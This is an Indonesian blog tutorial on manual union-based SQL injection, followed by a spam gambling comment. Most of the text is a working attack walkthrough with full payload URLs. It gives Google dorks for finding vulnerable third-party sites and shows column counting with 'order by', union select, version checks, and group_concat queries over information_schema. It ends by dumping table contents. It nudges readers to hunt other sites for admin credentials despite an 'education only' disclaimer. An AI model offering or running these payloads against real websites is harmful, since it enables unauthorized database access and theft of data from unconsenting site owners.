Teknik Manual SQL Injection


Apakah Anda tahu tentang SQL Injection? Pernah melihat sebuah website yang tampilannya tidak sesuai dengan aslinya (deface) atau website yang semula rapi tiba-tiba menjadi luar biasa berantakan? SQL Injection memiliki andil dalam hal tersebut, tentunya bila hal yang sederhana ini dilakukan oleh orang-orang yang tidak bertanggung jawab.

Ulasan kali ini akan mengajarkan Anda bagaimana cara melakukan SQL Injection secara manual.
PERHATIAN!

Tutorial ini dibuat dengan tujuan edukasi semata agar Anda lebih memahami dan  dapat melindungi website Anda dari tangan jahil, penulis tidak akan bertanggung jawab atas segala kesalahan yang dilakukan oleh pengguna tutorial ini.

Sebelum kita mulai, ada baiknya kita mengetahui,

Apa itu SQL Injection?

SQL Injection (Manual) adalah sebuah teknik menyisipkan perintah SQL melalui URL untuk memperoleh informasi database sebuah website.

Mencari Website Bercelah SQL Injection

Bagaimana cara mencari website yang memiliki celah SQL Injection? Anda dapat menggunakan Search Engine (contoh : Google) disertai teknik Dorking untuk mencari website target. Dorking berfungsi untuk mencari suatu website dengan URL yang lebih spesifik. Dorking yang bisa Anda gunakan adalah sebagai berikut :
  • inurl:azerty.php?id=
  • inurl:bouquin.php?id= 
  • inurl:lien.php?id=
  • inurl:clavier.php?id=
  • inurl:index.php?id=
  • inurl:trainers.php?id=
  • inurl:buy.php?category=
  • inurl:article.php?id=
  • inurl:play_old.php?id=
  • inurl:games.php?id=
  • inurl:iniziativa.php?in=
  • inurl:curriculum.php?id=
  • inurl:labels.php?id=
  • inurl:story.php?id=
  • inurl:look.php?id=
  • inurl:newsone.php?id=
  • inurl:aboutbook.php?id=
  • inurl:material.php?id=
  • inurl:opinions.php?id=
  • inurl:announce.php?id=
Silahkan copy salah satu ke kotak Search Engine. Pada tutorial ini, saya akan menggunakan "inurl:article.php?id=". Kemudian pada hasil pencarian Google akan muncul alamat yang spesifik, silakan pilih salah satu yang kira-kira seperti http://www.website-target.com/article.php?id=25. Kemudian Anda dapat menyisipkan tanda petik satu ( ' ) pada ujung alamat target menjadi seperti http://www.website-target.com/article.php?id=25'.

Tekan enter, sekarang kemungkinan yang akan muncul hanya 2.

Kemungkinan 1 : 
Bila setelah enter, website dialihkan kembali ke halaman utama atau muncul notifikasi bahwa halaman yang Anda minta tidak tersedia maka website itu mungkin tidak memiliki celah SQL Injection dan Anda harus mencari website lain bila ingin melanjutkan.

Kemungkinan 2 :
Bila setelah enter, website memunculkan notifikasi error kira-kira seperti 
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/content/31/12097131/html/article.php on line 213, maka besar kemungkinan website tersebut memiliki celah SQL Injection. Error pada SQL tidak harus persis sama, contoh error lainnya seperti  Warning: mysql_num_rows() dan lain sebagainya. Error ini bisa muncul dibagian mana saja, dimulai dari ujung atas hingga bawah, biasanya lebih cenderung diatas.

Asumsi kemungkinan 2 terpenuhi, langkah selanjutnya melakukan injection menggunakan perintah-perintah Query. Caranya adalah dengan menyisipkan perintah order by 1--+-. Maka URL saat ini menjadi http://www.website-target.com/article.php?id=25 order by 1--+-.

Setelah melakukan enter, kemungkinan besar website kembali normal tanpa notifikasi error, hal tersebut bukan masalah, sebab dalam hal ini kita hanya perlu mengetahui berapa banyak kolom yang tersedia pada database. Anda hanya perlu mengubah order by x--+- dimana x=(1, 2, 3, 4, ....). Nilai x tidak perlu dilakukan secara berurut, untuk mempersingkat waktu Anda bisa menerka. Lakukan terus hingga Anda memperoleh notifikasi error.

NB : Ketika melakukan terka dan mendapat error, Anda hanya menerka secara mundur agar memperoleh nilai kolom yang sebenarnya.

Pada kasus ini, saya memperoleh error pada x ke 8. Berarti total dari kolom yang tersedia adalah x-1, berarti jumlah kolom = 7. Setelah mengetahui terdapat 7 kolom pada database, langkah selanjutnya adalah menyisipkan perintah union select x1,x2,x3, ...., --+- pada url utama dimana x sebanyak jumlah kolom dan menyisipkan tanda minus ( - ) sebelum nilai id. Maka URL saat ini menjadi http://www.website-target.com/article.php?id=-25 union select 1,2,3,4,5,6,7--+-.

Setelah melakukan enter, maka akan muncul angka-angka pada website seperti gambar dibawah.
Cek Jumlah Kolom

Tentunya letak angka akan berbeda-beda sesuai dengan website target. Selanjutnya lakukan cek pada versi SQL yang digunakan oleh target. Hal tersebut dapat dilakukan dengan cara menyisipkan perintah @@version atau version() pada salah satu angka pada URL, contohnya http://www.website-target.com/article.php?id=-25 union select 1,@@version,3,4,5,6,7--+-. Maka akan muncul seperti pada gambar.
Cek Versi SQL
Ternyata versi SQL yang digunakan adalah versi 5. Dikutip dari blog sebelah, bila target menggunakan SQL versi 4 akan susah untuk menebak tabel satu per satu. Sekarang kita dapat melihat nama-nama tabel yang tersedia dengan menyisipkan perintah group_concat(table_name) pada x tertentu dan menyisipkan perintah +from+information_schema.tables+where+table_schema=database() sebelum tanda --+-.
Maka URL akan menjadi http://www.website-target.com/article.php?id=-25 union select 1,group_concat(table_name),3,4,5,6,7+from+information_schema.tables+where+table_schema=database()--+-. Maka akan muncul seperti gambar dibawah.

Cek Tabel

Biasanya terdapat banyak tabel misalnya tabel_admin, tabel_barang, dan lain sebagainya. Kebetulan pada website ini hanya memiliki sebuah tabel bernama items.

Sekarang Anda dapat merubah perintah group_concat(table_name) menjadi group_concat(column_name) dan +from+information_schema.tables+where+table_schema= menjadi +from+information_schema.columns+where+table_name=. Perintah database() diganti menjadi desimal dari tabel yang ingin diakses. Disini saya mengganti dengan tabel items karena tidak ada pilihan lain. Konversi dapat dilakukan di easycalculation dan hasilnya seperti gambar berikut.

Konversi String ke Desimal
Maka akan muncul angka desimal, masukkan angka desimal tersebut dengan format CHAR(105, 116, 101, 109, 115). URL saat ini adalah 
http://www.website-target.com/article.php?id=-25 union select 1,group_concat(column_name),3,4,5,6,7+from+information_schema.columns+where+table_name=CHAR(105, 116, 101, 109, 115)--+-

Hasilnya seperti gambar dibawah.
Isi Tabel items
Kebetulan dalam tutorial ini tidak ditemukan tabel yang berisi id dan password admin karena memang tidak ada. Bila Anda mencobanya di website lain mungkin Anda akan beruntung tapi ingat, ini hanya untuk pembelajaran saja.

Langkah selanjutnya bila ingin melihat isi yang lebih dalam lagi maka bisa dilakukan perubahan perintah group_concat(column_name) menjadi salah satu nama dari isi tabel, misalnya id maka akan menjadi group_concat(id) dan merubah perintah +from+information_schema.columns+where+table_name=CHAR(105, 116, 101, 109, 115)--+- menjadi +from+items--+- . Maka URL saat ini menjadi http://www.website-target.com/article.php?id=-25 union select 1,group_concat(id),3,4,5,6,7+from+items--+-. Maka akan muncul isi id dari tabel yang bernama items.

Isi id dari tabel items

Kira-kira seperti itulah cara menampilkan konten-konten database dari website yang memiliki celah SQL Injection. Manfaat dari pembelajaran ini adalah mengingatkan betapa pentingnya menjaga keamanan website sendiri agar informasi rahasia dan berharga tidak jatuh kepada orang-orang yang tidak bertanggung jawab. Semoga ulasan ini bermanfaat untuk kita semua.

Share on Google Plus

About ./A

Blog tentang teknologi dan informatika.
    Blogger Comment
    Facebook Comment

2 comments:

  1. Langsung download aplikasi togel online bisa main di Pasaran Resmi SGP, HK, dan SYDNEY. Dijamin untung pakai rumus 4D langsun tembus 4 angka. Untuk informasi lebih lanjut anda bisa kunjungi langsung blog resmi unsurtoto http://fylingcourtleet.org/

    BalasHapus